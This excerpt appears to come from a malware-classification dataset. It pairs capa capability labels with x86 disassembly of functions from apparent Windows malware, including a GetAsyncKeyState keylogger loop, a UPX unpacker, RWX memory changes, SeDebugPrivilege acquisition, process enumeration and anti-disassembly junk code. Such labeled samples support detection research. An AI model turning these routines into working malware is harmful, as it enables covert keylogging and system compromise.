joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46c8d0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov esi, 0x471c3c
xor eax, eax
push ebp
push 0x46c9c5
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov dword [esi], 0x30e3da4c
lea eax, [ebx]
push eax
call sub.user32.dll_GetAsyncKeyState
and ax, 1
cmp ax, 1
jne 0x46c993
mov dword [esi], 0x38c91614
call sub.kernel32.dll_GetTickCount_1
add eax, 0x13005
mov dword [0x471e30], eax
mov eax, ebx
add eax, 0xffffffd0
sub eax, 0xa
jb 0x46c939
add eax, 0xfffffff9
sub eax, 0x1a
jb 0x46c939
add eax, 0xfffffffa
sub eax, 0x1a
jae 0x46c967
push dword [0x471c1c]
push 0x46c9dc
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00404344
push dword [ebp - 4]
push 0x46c9e8
mov eax, 0x471c1c
mov edx, 4
call fcn.004044dc
jmp 0x46c993
push dword [0x471c1c]
push 0x46c9f4
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004082f4
push dword [ebp - 8]
push 0x46ca00
mov eax, 0x471c1c
mov edx, 4
call fcn.004044dc
inc ebx
cmp ebx, 0x100
jne 0x46c8ee
mov dword [0x471e28], 0x3c63
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46c9cc
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404180
ret
Function at 0x45d210
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x36000]
push edi
or ebp, 0xffffffff
jmp 0x45d232
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x45d239
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x45d228
mov eax, 1
add ebx, ebx
jne 0x45d24b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x45d240
jne 0x45d25c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x45d240
xor ecx, ecx
sub eax, 3
jb 0x45d270
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x45d2e2
mov ebp, eax
add ebx, ebx
jne 0x45d27b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x45d288
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x45d2ac
inc ecx
add ebx, ebx
jne 0x45d298
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x45d28d
jne 0x45d2a9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x45d28d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x45d2cc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x45d2bd
jmp 0x45d22e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x45d2cc
add edi, ecx
jmp 0x45d22e
pop esi
lea edi, [esi + 0x5b000]
mov eax, dword [edi]
or eax, eax
je 0x45d32b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x5d22c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x5d2d4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x45d2e9
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x5d2dc]
or eax, eax
je 0x45d325
mov dword [ebx], eax
add ebx, 4
jmp 0x45d306
call dword [esi + 0x5d2d8]
mov ebp, dword [esi + 0x5d2e0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x45d35f
sub esp, 0xffffff80
jmp 0x401730
Function at 0x10001160
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, dword [ebp - 4]
mov dword [edx], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
je 0x100011d1
mov ecx, dword [ebp - 4]
cmp dword [ecx + 8], 0
je 0x100011d1
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
test eax, eax
jne 0x100011ba
jmp 0x100011d1
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
push 0x40
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8

Function at 0x10002a50
Capabilities:
Get process image filename

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
mov eax, dword [0x1005f0f8]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
mov esi, ecx
mov edi, edx
mov dword [ebp - 0x10c], esi
push eax
push edi
mov dword [ebp - 0x10c], esi
call dword [sym.imp.PSAPI.DLL_GetProcessImageFileNameA]
test eax, eax
je 0x10002ac3
lea ecx, [ebp - 0x108]
mov dword [esi], 0
mov dword [esi + 0x10], 0
lea edx, [ecx + 1]
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002ab0
sub ecx, edx
lea eax, [ebp - 0x108]
push ecx
push eax
jmp 0x10002b2c
push 0x104
lea eax, [ebp - 0x108]
push 0
push eax
call fcn.10029440
add esp, 0xc
lea eax, [ebp - 0x108]
push 0x104
push eax
push 0
push edi
call dword [sym.imp.PSAPI.DLL_GetModuleFileNameExA]
mov dword [esi], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
test eax, eax
je 0x10002b25
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002b12
sub ecx, edx
lea eax, [ebp - 0x108]
push ecx
push eax
jmp 0x10002b2c
push 0
push 0x10058ca8
mov ecx, esi
call fcn.10003e80
mov ecx, dword [ebp - 4]
mov eax, esi
pop edi
xor ecx, ebp
pop esi
call fcn.10026f69
mov esp, ebp
pop ebp
ret
Function at 0x10002b50
Capabilities:
Get disk information

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10048f10
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x348
mov eax, dword [0x1005f0f8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, edx
mov dword [ebp - 0x354], eax
mov esi, ecx
mov dword [ebp - 0x358], esi
mov dword [ebp - 0x350], esi
mov dword [ebp - 0x34c], 0
mov dword [ebp - 0x350], esi
mov dword [ebp - 0x33c], 0
mov dword [ebp - 0x338], 0xf
mov byte [ebp - 0x34c], 0
mov dword [ebp - 4], 0
mov byte [ebp - 0x120], 0
test eax, eax
je 0x10002d4f
mov ecx, eax
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002bf0
sub ecx, edx
je 0x10002d4f
lea eax, [ebp - 0x120]
push eax
push 0x103
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
test eax, eax
je 0x10002d4f
mov ax, word [0x10058cac]
lea edi, [ebp - 0x120]
mov word [ebp - 0x334], ax
movzx eax, byte [0x10058cae]
mov byte [ebp - 0x332], al
mov al, byte [ebp - 0x120]
mov dword [ebp - 0x350], 0
nop dword [eax]
mov byte [ebp - 0x334], al
lea eax, [ebp - 0x228]
push 0x104
push eax
lea eax, [ebp - 0x334]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
test eax, eax
je 0x10002d01
lea esi, [ebp - 0x228]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x10002c80
sub esi, ecx
cmp esi, 0x104
jae 0x10002d01
push esi
lea eax, [ebp - 0x228]
push eax
push dword [ebp - 0x354]
call fcn.1002dcb0
xor ecx, ecx
add esp, 0xc
test eax, eax
sete cl
mov dword [ebp - 0x350], ecx
test eax, eax
jne 0x10002d07
mov eax, dword [ebp - 0x354]
add eax, esi
push eax
lea eax, [ebp - 0x334]
push eax
lea eax, [ebp - 0x330]
push str._s_s
push eax
call fcn.10003fc0
lea ecx, [ebp - 0x330]
add esp, 0x10
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002ce5
sub ecx, edx
lea eax, [ebp - 0x330]
push ecx
push eax
lea ecx, [ebp - 0x34c]
call fcn.10003e80
mov ecx, dword [ebp - 0x350]
mov al, byte [edi]
inc edi
test al, al
jne 0x10002d07
test ecx, ecx
jne 0x10002d1c
mov al, byte [edi]
test al, al
jne 0x10002c50
mov eax, dword [ebp - 0x358]
movups xmm0, xmmword [ebp - 0x34c]
mov dword [eax], 0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x33c]
movq qword [eax + 0x10], xmm0
jmp 0x10002d7c
movups xmm0, xmmword [ebp - 0x34c]
mov dword [esi], 0
mov eax, esi
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0x33c]
movq qword [esi + 0x10], xmm0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10026f69
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x10002f70
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x1005b9e8
push 0x10028490
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x1005f0f8]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
lea eax, [ebp - 0x38]
push eax
push 0x28
push ecx
call dword [0x10061364]
test eax, eax
js 0x10002fdc
lea eax, [ebp - 0x24]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x10002fe7
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], 0xfffffffe
xor al, al
jmp 0x10003033
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x28], 4
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
push 0
push 0
push 0
lea eax, [ebp - 0x34]
push eax
push 0
push dword [ebp - 0x38]
call dword [0x10061374]
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1000302a
mov dword [ebp - 4], 0xfffffffe
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10026f69
mov esp, ebp
pop ebp
ret
Function at 0x10003800
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x102c
call fcn.10027f10
mov eax, dword [0x1005f0f8]
xor eax, esp
mov dword [esp + 0x1028], eax
push ebx
push esi
push edi
push 0x100
lea eax, [esp + 0x48]
mov dword [esp + 0x34], 0x11c
push 0
push eax
mov dword [esp + 0x48], 0
mov dword [esp + 0x4c], 0
call fcn.10029440
mov esi, dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
add esp, 0xc
xor eax, eax
mov word [esp + 0x146], ax
mov dword [esp + 0x148], eax
push 3
push 0x20
push 3
push 1
push 3
push 2
push eax
push eax
call esi
push edx
push eax
call esi
push edx
push eax
call esi
push edx
push eax
push 0x23
lea eax, [esp + 0x3c]
mov dword [esp + 0x40], 6
xor ecx, ecx
mov dword [esp + 0x44], 0
push eax
mov word [esp + 0x154], cx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
test eax, eax
je 0x10003959
mov eax, dword [0x10061360]
test eax, eax
je 0x10003959
lea ecx, [esp + 0x2c]
mov dword [esp + 0x2c], 0
push ecx
push 0
push 0
push 0x2000000
push 0
call eax
test eax, eax
jne 0x100039f3
nop dword [eax]
mov edx, dword [esp + 0x2c]
test edx, edx
jne 0x100038ec
xor ecx, ecx
jmp 0x1000390b
push 0
push 0x18
lea eax, [esp + 0x1c]
push eax
push 0
push edx
call dword [0x10061378]
mov edx, dword [esp + 0x2c]
xor ecx, ecx
test eax, eax
cmovns ecx, dword [esp + 0x24]
call fcn.10003050
mov ecx, dword [0x1006138c]
cmp ecx, dword [0x10061390]
je 0x1000392d
mov eax, dword [esp + 0x2c]
mov dword [ecx], eax
add dword [0x1006138c], 4
jmp 0x10003938
lea eax, [esp + 0x2c]
push eax
push ecx
call fcn.10004180
lea eax, [esp + 0x2c]
push eax
push 0
push 0
push 0x2000000
push dword [esp + 0x3c]
call dword [0x10061360]
test eax, eax
je 0x100038e0
jmp 0x100039f3
lea eax, [esp + 0x2c]
push eax
push 0x1000
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.PSAPI.DLL_EnumProcesses]
test eax, eax
jne 0x10003977
call fcn.10010f70
xor edi, edi
test dword [esp + 0x2c], 0xfffffffc
jbe 0x100039f3
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
nop dword [eax]
cmp dword [esp + edi*4 + 0x30], 0
je 0x100039e7
mov esi, dword [esp + edi*4 + 0x30]
call ebx
cmp esi, eax
je 0x100039e7
push esi
push 0
push 0x400
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [esp + 0x10], esi
test esi, esi
je 0x100039e7
mov ecx, dword [esp + edi*4 + 0x30]
mov edx, esi
call fcn.10003050
mov eax, dword [0x1006138c]
cmp eax, dword [0x10061390]
je 0x100039dc
mov dword [eax], esi
add dword [0x1006138c], 4
jmp 0x100039e7
lea ecx, [esp + 0x10]
push ecx
push eax
call fcn.10004180
mov eax, dword [esp + 0x2c]
inc edi
shr eax, 2
cmp edi, eax
jb 0x10003990
call fcn.10003750
mov ecx, dword [esp + 0x1034]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10026f69
mov esp, ebp
pop ebp
ret
Function at 0x10003b31
Capabilities:
Create thread

Disassembly:
jae 0x10003ad7
jmp 0x10003ad2
call fcn.10003ad9
jae 0x10003ad2
add esp, 4
jmp 0x10003ade
dec dword [esp]
jno 0x10003ae3
jns 0x10003ace
jp 0x10003ae7
add esp, 4
popf
jmp 0x10003aee
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10003b07
jne 0x10003b07
call 0x1fc06e5b
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
call fcn.10002730
clc
jae 0x10003b22
mov esp, ebx
pushf
push 0xa
jae 0x10003b2f
jmp 0x10003b2a
call 0x10003b31
jae 0x10003b2a
add esp, 4
jmp 0x10003b36
dec dword [esp]
jno 0x10003b3b
jns 0x10003b26
jp 0x10003b3f
add esp, 4
popf
jmp 0x10003b46
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10003b5f
jne 0x10003b5f
fdivr qword [ebx + eax - 0x15]
add ebx, esp
jl 0x10003b64
jmp 0x10003b66
je 0x10003b61
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x10003b80
jne 0x10003b7f
call 0x93042c07
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x10003b8e
jne 0x10003b8e
call 0x106a3bfc
push 0
push 0
push 0
push 0x10003a10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10003bb1
call fcn.10010f70
xor eax, eax
test eax, eax
je 0x10003bba
jne 0x10003bb9
call 0x93042c41
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
pop eax
xor eax, 3
add eax, 4
xor eax, 5
jl 0x10003bc8
jmp 0x10003bca
je 0x10003bc5
clc
jae 0x10003bcf
sub dword [eax + 0x74], ebx
add esi, dword [ebp + 1]
je 0x10003bd4
jne 0x10003bd4
pop eax
pushf
push 0xa
jae 0x10003be1
jmp 0x10003bdc
call 0x10003be3
jae 0x10003bdc
add esp, 4
jmp 0x10003be8
dec dword [esp]
jno 0x10003bed
jns 0x10003bd8
jp 0x10003bf1
add esp, 4
popf
jmp 0x10003bf8
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10003c11
jne 0x10003c11
call 0x1fc06f65
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004fb0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100490d0
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xdd0
mov eax, dword [0x1005f0f8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebx + 0xc]
mov dword [ebp - 0x20], 0x65737973
push eax
push dword [ebx + 8]
lea eax, [ebp - 0xd00]
mov dword [ebp - 0x1c], 0x2e327272
push eax
mov dword [ebp - 0x18], 0x747874
call dword [sym.imp.USER32.dll_wvsprintfA]
push 0
call fcn.1002ec06
add esp, 4
mov dword [ebp - 0xd08], eax
lea eax, [ebp - 0xd08]
mov dword [ebp - 0xd04], edx
push eax
call fcn.1002eed2
movaps xmm0, xmmword [0x1005a710]
add esp, 4
movups xmm2, xmmword [eax]
movups xmm1, xmmword [eax + 0x10]
mov word [ebp - 0x24], 0x20
movups xmmword [ebp - 0x44], xmm0
movaps xmm0, xmmword [0x1005a720]
movups xmmword [ebp - 0x34], xmm0
movaps xmm0, xmm1
psrldq xmm0, 4
movd eax, xmm0
movaps xmm0, xmm2
psrldq xmm0, 0xc
add eax, 0x76c
push eax
movd eax, xmm1
inc eax
push eax
movd eax, xmm0
movaps xmm0, xmm2
psrldq xmm0, 4
push eax
movd eax, xmm2
psrldq xmm2, 8
push eax
movd eax, xmm0
push eax
movd eax, xmm2
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x530]
push eax
call fcn.100044c0
push 0xb0
lea eax, [ebp - 0xdb8]
push 0
push eax
call fcn.10029440
add esp, 0x24
lea eax, [ebp - 0x20]
lea ecx, [ebp - 0xdb8]
push 0xa
push eax
call fcn.10006410
lea edx, [ebp - 0x530]
mov dword [ebp - 4], 0
lea ecx, [ebp - 0xdb8]
call fcn.10008e30
lea edx, [ebp - 0xd00]
mov ecx, eax
call fcn.10008e30
mov ecx, eax
call fcn.100090c0
push eax
call fcn.10009370
add esp, 4
lea ecx, [ebp - 0xdb4]
call fcn.10007620
test eax, eax
jne 0x10005147
mov eax, dword [ebp - 0xdb8]
lea ecx, [ebp - 0xdb8]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.10004e70
lea ecx, [ebp - 0xdb8]
call fcn.10005170
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10026f69
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x10005270
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1004912d
mov eax, dword fs:[0]
push eax
sub esp, 0x128
mov eax, dword [0x1005f0f8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push 0x104
lea eax, [ebp - 0x114]
mov dword [ebp - 4], 0
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x11c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x118], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100052e0
sub ecx, edx
lea eax, [ebp - 0x114]
push ecx
push eax
lea ecx, [ebp - 0x12c]
call fcn.10003e80
mov ecx, dword [ebp - 0x118]
lea eax, [ebp - 0x12c]
mov edi, dword [ebp - 0x12c]
lea ebx, [ebp - 0x12c]
mov edx, dword [ebp - 0x11c]
lea esi, [ebp - 0x12c]
cmp ecx, 0x10
cmovae eax, edi
cmovae ebx, edi
add eax, edx
cmp ecx, 0x10
cmovae esi, edi
cmp esi, eax
je 0x10005366
sub ebx, esi
mov edi, eax
nop dword [eax]
movsx eax, byte [esi]
push eax
call fcn.1002bd00
mov byte [ebx + esi], al
add esp, 4
inc esi
cmp esi, edi
jne 0x10005340
mov edx, dword [ebp - 0x11c]
mov edi, dword [ebp - 0x12c]
mov ecx, dword [ebp - 0x118]
mov ebx, dword [ebp + 0x1c]
lea eax, [ebp - 0x12c]
mov esi, dword [ebp + 8]
cmp ecx, 0x10
push edx
mov edx, dword [ebp + 0x18]
lea ecx, [ebp + 8]
cmovae eax, edi
cmp ebx, 0x10
push eax
cmovae ecx, esi
push 0
call fcn.100096b0
mov ecx, dword [ebp - 0x118]
add esp, 0xc
cmp eax, 0xffffffff
setne byte [ebp - 0x12d]
cmp ecx, 0x10
jb 0x100053d0
inc ecx
mov eax, edi
cmp ecx, 0x1000
jb 0x100053c0
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10005439
push ecx
push edi
call fcn.100274be
mov ebx, dword [ebp + 0x1c]
add esp, 8
mov esi, dword [ebp + 8]
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
cmp ebx, 0x10
jb 0x10005417
lea ecx, [ebx + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x1000540d
mov esi, dword [esi - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10005439
push ecx
push esi
call fcn.100274be
add esp, 8
mov al, byte [ebp - 0x12d]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10026f69
mov esp, ebp
pop ebp
ret
call fcn.1002df33
int3
Function at 0x10005850
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
cmp dword [ecx + 0x38], 0
push ebx
push esi
push edi
mov dword [esp + 0xc], ecx
je 0x10005936
mov esi, dword [ebp + 0x10]
mov ebx, esi
mov edx, dword [ebp + 0xc]
mov edi, edx
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
test esi, esi
jl 0x10005925
jg 0x10005890
test edx, edx
je 0x10005925
nop dword [eax]
call fcn.100078f0
mov esi, eax
mov eax, edx
mov dword [esp + 0x14], eax
test eax, eax
jl 0x100058e4
jg 0x100058a7
test esi, esi
je 0x100058e4
cmp ebx, eax
jg 0x100058b7
jl 0x100058b1
cmp edi, esi
jae 0x100058b7
mov esi, edi
mov dword [esp + 0x14], ebx
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
push esi
push eax
mov eax, dword [ecx + 0x20]
push dword [eax]
call fcn.10028ec0
mov ecx, dword [esp + 0x18]
add esp, 0xc
sub edi, esi
sbb ebx, dword [esp + 0x14]
mov eax, dword [ecx + 0x30]
sub dword [eax], esi
mov eax, dword [ecx + 0x20]
add dword [eax], esi
jmp 0x10005909
mov ecx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
mov edx, dword [ecx]
movzx eax, byte [eax]
push eax
call dword [edx + 0xc]
cmp eax, 0xffffffff
je 0x1000591f
mov ecx, dword [esp + 0xc]
add edi, 0xffffffff
mov esi, 1
adc ebx, 0xffffffff
add dword [esp + 0x10], esi
test ebx, ebx
jg 0x10005890
jl 0x1000591f
test edi, edi
jne 0x10005890
mov edx, dword [ebp + 0xc]
mov esi, dword [ebp + 0x10]
sub edx, edi
mov eax, edx
sbb esi, ebx
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov eax, dword [ecx + 0x20]
mov esi, dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
mov dword [esp + 0x18], esi
mov eax, dword [eax]
mov dword [esp + 0x1c], edi
mov dword [esp + 0x10], eax
test eax, eax
je 0x10005958
mov eax, dword [ecx + 0x30]
mov eax, dword [eax]
jmp 0x1000595a
xor eax, eax
cdq
mov ebx, eax
mov eax, edx
mov dword [esp + 0x14], eax
test edi, edi
jl 0x100059d8
jg 0x1000596d
test esi, esi
je 0x100059d8
test eax, eax
jl 0x100059bc
jg 0x10005977
test ebx, ebx
je 0x100059bc
cmp edi, eax
jg 0x10005987
jl 0x10005981
cmp esi, ebx
jae 0x10005987
mov ebx, esi
mov dword [esp + 0x14], edi
push ebx
push dword [ebp + 8]
push dword [esp + 0x18]
call fcn.10028ec0
mov ecx, dword [esp + 0x18]
add esp, 0xc
mov edx, dword [ebp + 8]
sub esi, ebx
sbb edi, dword [esp + 0x14]
add edx, ebx
mov eax, dword [ecx + 0x30]
sub dword [eax], ebx
mov eax, dword [ecx + 0x20]
add dword [eax], ebx
test edi, edi
jl 0x100059d8
jg 0x100059bf
test esi, esi
je 0x100059d8
jmp 0x100059bf
mov edx, dword [ebp + 8]
mov eax, dword [ecx + 0x4c]
test eax, eax
je 0x100059d8
push eax
push esi
push 1
push edx
call fcn.1002e918
add esp, 0x10
sub esi, eax
sbb edi, 0
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
sub eax, esi
sbb edx, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc